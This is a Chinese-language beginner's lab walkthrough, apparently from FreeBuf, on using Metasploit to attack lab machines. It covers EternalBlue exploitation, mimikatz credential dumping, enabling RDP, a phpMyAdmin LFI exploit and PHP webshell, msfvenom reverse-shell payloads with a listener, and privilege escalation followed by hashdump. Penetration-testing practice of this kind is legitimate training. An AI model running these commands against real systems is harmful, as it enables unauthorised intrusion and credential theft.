初学MSF之渗透、提权、免杀(上) – 作者:secur1ty

写在前面

最近学了学msf,学习了一些简单的模块使用以及渗透、提权、免 杀,并使用靶场进行了一次小小的实战,写篇文章记录下。

MSF是什么

Metasploit是一个免费的、可下载的渗透测试框架,通过它可以很容易地获取、开发并对计算机软件漏洞

实施攻击。它本身附带数千个已知软件漏洞的专业级漏洞攻击工具,并且MSF团队始终在更新MSF的漏洞

库,这使得MSF始终充满生机。通俗的讲,MSF就是一个集成了渗透测试全流程的渗透工具,理论上讲,我们可以只依靠MSF完成从信息收集到最终的制作后门并清理入侵痕迹的渗透测试全过程。

组成部分

Auxiliary 辅助模块 为渗透测试信息搜集提供了大量的辅助模块支持Exploits 攻击模块 利用已知发现的安全漏洞或配置弱点对远程目标系统进行攻击,从而获得对远程目标系统访问权的代码组件。Payload 攻击载荷模块 攻击成功后使靶机运行的一段植入代码(往往是反弹shell)Post 后渗透攻击模块 攻击成功后的提权,留后门Encoders 编码模块 将攻击载荷(payload)进行编码,来绕过防护软件拦截

靶场实战一:探测网络主机并利用系统漏洞渗透

本次渗透网络拓扑图:

image

使用工具:MSF

开始渗透:

image

首先分别在攻击机与受害机中分别查看IP

image

分别在受害机与攻击机中使用ping命令检查网络连通情况

image

image

使用

service postgresql start开启数据库

image

使用

msfdb init初始化MSF数据库

image

使用

msfconsole命令开启msf控制台

image

使用

db_status检查数据库连接状态

image

出现如图所示的回显证明连接成功

接下来,使用nmap 192.168.119.132 -p 445来对目标主机进行探测(因为笔者这里使用的MSF是最新版本,命令有所改变,老版的MSF命令应该为db_nmap)

image

根据结果可判断,目标主机的445端口是开启的,众所周知445端口通常开放的是Windows的共享服务,

曾经爆出过高危的漏洞永恒之蓝,所以接下来我们重点对目标主机是否存在永恒之蓝漏洞进行探测

使用search ms17-010命令来搜索MSF中有关永恒之蓝漏洞的模块

image

如图所示,我们可以看到有一个专门用于扫描主机永恒之蓝漏洞的模块我们可以通过use 模块名

use 模块ID的方式进行选中这里我采用的是第二种(因为懒。。。)

使用use 1命令进入永恒之蓝探测模块

image

使用options命令查看此模块运行所需参数

image

在Required这一栏中注明了是否需要用户自行设定参数

使用set rhosts 192.168.119.132set thread 2命令分别设置目标主机IP与扫描线程

image设置完成后输入runexploit开始运行扫描模块

image

如图所示,模块运行结果为:检测到目标主机中很有可能存在ms17-010也就是永恒之蓝漏洞接下来使用use命令进入永恒之蓝模块使用show payloads命令查看该攻击模块可以使用的payload

image

这里我们选择常用的windows/x64/meterpreter_reverse_tcp作为此次攻击的payload

image

使用set payload 15命令设置模块的payload使用show options 命令查看该模块运行所需自行设置的参数
image

可以看到只有一个rhosts参数需要手动输入,其他参数模块已经默认设置好(关于payload的两个参数,由于笔者之前使用过这个payload所以参数是默认填好的,如果第一次使用lhost与lport参数是需要自行设置的,lhost就是就是在攻击机所监听的端口,注意这个端口不能被其他程序占用,设置为例如4444,5555,1234等端口都没问题。)设置好之后输入run命令开始自动攻击

image

image

可以看到MSF提示给了我们WIN字样,即成功,并反弹了一个meterpreter会话给用户输入load mimikatzload kiwi 命令加载MSF内置的猕猴桃插件

image

输入creds_Kerberos来抓取目标主机的用户密码(笔者的msf是msf6所以命令稍稍不同,如果是msf5的话命令为Kerberos)
image

可以看到我们已经成功抓取了目标主机administrator用户的明文密码但既然我们已经获得了管理员的明文密码,那么我们自然不能满足于一个小小的meterpreter会话了我们能否在目标主机上打开一个图形化的管理界面呢(也就是远程桌面RDP)?输入background命令把获得的meterpretr会话暂时放到后台

image

并使用nmap插件扫描一下目标主机的3389(远程桌面端口)有些令人失望的是,目标主机的3389默认是不开启的但这并不能阻挡我们一颗想要渗透的心(手动狗头~)还记得我们刚刚获得的meterpreter会话吗,msf内包含了一个可以依托会话打开主机端口的后渗透模块使用search enable_rdp搜索一下看看

image

输入use 0进入该模块并options看到只有一个需要填写的参数便是session的编号刚才使用background时可以看到msf把这个session标号为2所以使用set session 2命令设置好参数输入run开启后渗透攻击

image

看到攻击成功字样后输入back退出后渗透模块并重新使用nmap扫描目标主机的3389端口

image

可以看到不同,之前3389端口是不开启的,但现在经过后渗透模块的攻击已经显示开启接着输rdesktop 192.168.119.132 尝试远程桌面连接目标主机弹出密码窗口后输入刚刚我们使用猕猴桃抓取到的密码1234.a可以看到远程桌面成功打开至此,我们完成了靶场实战一
image

靶场实战二:利用phpmyadmin lfi漏洞入侵并利用系统漏洞提权

本次渗透网络拓扑图:

image

环境搭建:

在实际的渗透情况中,web应用(除了某些数据库之外)大多数在服务器上运行的权限都不高,一般都是普通用户权限

因为一般来说web应用的运行并不需要高权限,还有web应用时暴露在公网之上的,任何人都可以访问得到,被入侵的概率自然也提高了,如果web应用在低权限下运行那么就可以尽量的减少被入侵后的损失,所以我们首先要构建一个·低权限的web应用首先开启phpstudy,点击系统服务并应用

image

可以在任务管理中看到默认情况下http服务在管理员的高权限下运行

image

打开命令行输入net user haixian 123456.a /add添加一个普通权限的用户

image

image

打开服务,先停止apache2服务,然后点击属性,登录,此账户,浏览选中我们刚刚添加的用户haixian并把运行权限全都给它然后应用,确定

image

然后再找到phpstudy里apache文件夹中的log也就是日志文件夹,将这个文件夹也赋予给haixian这个用户

方法与上面类似

设置成功后打开任务管理器看到,现在的http服务已经运行在普通用户haixian下了

image

image

在攻击机中先用IP访问一下靶机的phpmyadmin保证网络访问畅通

image

然后打开msf输入search phpmyadmin搜索与phpmyadmin相关的模块

image

先选中暴破模块暴一下phpmyadmin的登陆密码,这里我并没有修改它的默认密码所以就用msf自带的小字典就行

image

通过

set rhosts 192.168.119.132

set targeturi /phpMyAdmin-4.8.1/

set userpass_file small.txt

来设置模块运行所需参数,下一步就可以run了

但不幸的是,msf的这个暴破小模块并不是很好用并没有跑出来弱密码。但这不是重点,用burp一样可以跑出来所以接下来就默认已知phpmyadmin的登陆用户名密码

image

使用use 命令进入phpmyadmin lfi 攻击模块

输入

set rhosts 192.168.119.132

set targeturi /phpMyAdmin-4.8.1/

set password root

来设置好模块运行所需参数(这里没有设置payload因为msf6会默认帮你设置payload并采用之前的lhost与lport

若是msf5的话需要自行设置,注意这里的payload和实验一的不一样,因为是phpstudy搭建的环境所以要采用php的那个payload)输入run开启攻击

攻击成功后msf给用户反弹了一个meterpreter回来,但是这个会话和实验一获得的会话不一样,通过getuid命令可以看出,它的问题不只在于权限太低(可以通过shell窗口来尝试,发现连whoami都执行不了),输入hashdump居然回显Unknwn command,很多命令执行不了(可以输入help命令来查看会话可以执行的命令),抓取不到主机哈希我们就无法进行票据攻击或者哈希传递等后渗透攻击,也就是说我们目前获得的是一个“残疾shell”

image

image

image

image

所以我们要做的事有两件:

1.利用”残疾shell“上传一个”健康shell“

2.对”健康shell”进行提权

方法一:通过webshell上传exp进行提权

首先在获得的会话中输入vim 1.php来在目标主机中生成1.php然后在其中写入一句话木马,如图

image

使用dir命令查看木马位置

image

测试连接,根据回显判断连接正常,命令执行也正常,接下来便用蚁剑连接

image

image
接下来便是使用蚁剑打开终端并通过systeminfo命令查看系统已经打过的补丁

https://bugs.hacking8.com/tiquan/中输入全部的补丁号,网站便会给出可能会提权成功的exp,这个方法在笔者的文章记一次由sql注入到拿下域控的渗透测试实战演练(上)中有详细应用但这个方法有个缺点,网站给出的提权补丁会有很多,我们需要把他们一个一个地下载下来并进行尝试(少则十几个,多

则上百个)一个一个的尝试非常浪费时间,并且最终不一定会有可以用的exp因为网站只是给出建议,如果测了半天一个能用的都没有那岂不是血亏?所以接下来介绍一个较为省时方法

方法二:利用msf提权

msf有一个可以自动扫描目标主机可能存在的系统漏洞来进行提权补丁建议的模块

我们刚刚的meterpreter可以执行的命令太少,所以我们再上传一个新的木马来进行漏洞扫描

输入

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.119.130 lport=1234 -f exe > haixian.exe

来生成一个可执行的木马文件,并利用原有的meterpreter会话的upload功能将其上传到目标主机

接下来输入

use expolit/multi/handler进入msf的监听模块

set lhost 192.168.119.130

set lport 1234

设置好监听参数后run开始监听

打开刚刚的meterpreter会话,输入

execute -f haixian.exe来使目标主机运行我们的木马文件

image

image

image

回到我们的监听模块可以看到成功反弹了一个meterpreter给用户,再次输入hashdump发现现在只是单纯的提示权限不够了,上传”健康马”成功,接下来要对其进行提权

image

输入search recon命令查找该模块use 0进入该模块

options查看模块所需参数,发现只需要设置会话号也就是session就可以运行set session 1 设置参数(注意这里的会话号是“健康sherll”的)run开始扫描

image

根据结果可以看出一共有四个提权模块可供使用,就算挨个尝试,也不会花费太多时间,比起从网站上搜索exp的方法来是不是更加便捷呢?

经过笔者测试,最后一个提权模块是好用的,接下来进入,并设置相关参数,运行

set payload windows/x64/meterpreter_reverse_tcp

options

set session 1

run

image

结果显示提权成功,输入getuid查看当前权限,发现已经提升到了最高的system

输入hashdump,成功抓取目标主机哈希

image

至此,我们完成了靶场实战二

写在后面

此文为笔者作为一名渗透小白所写的学习记录,路过大神若有高见欢迎斧正

下篇文章写免杀,敬请期待~~~

来源:freebuf.com 2021-04-06 20:54:55 by: secur1ty

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论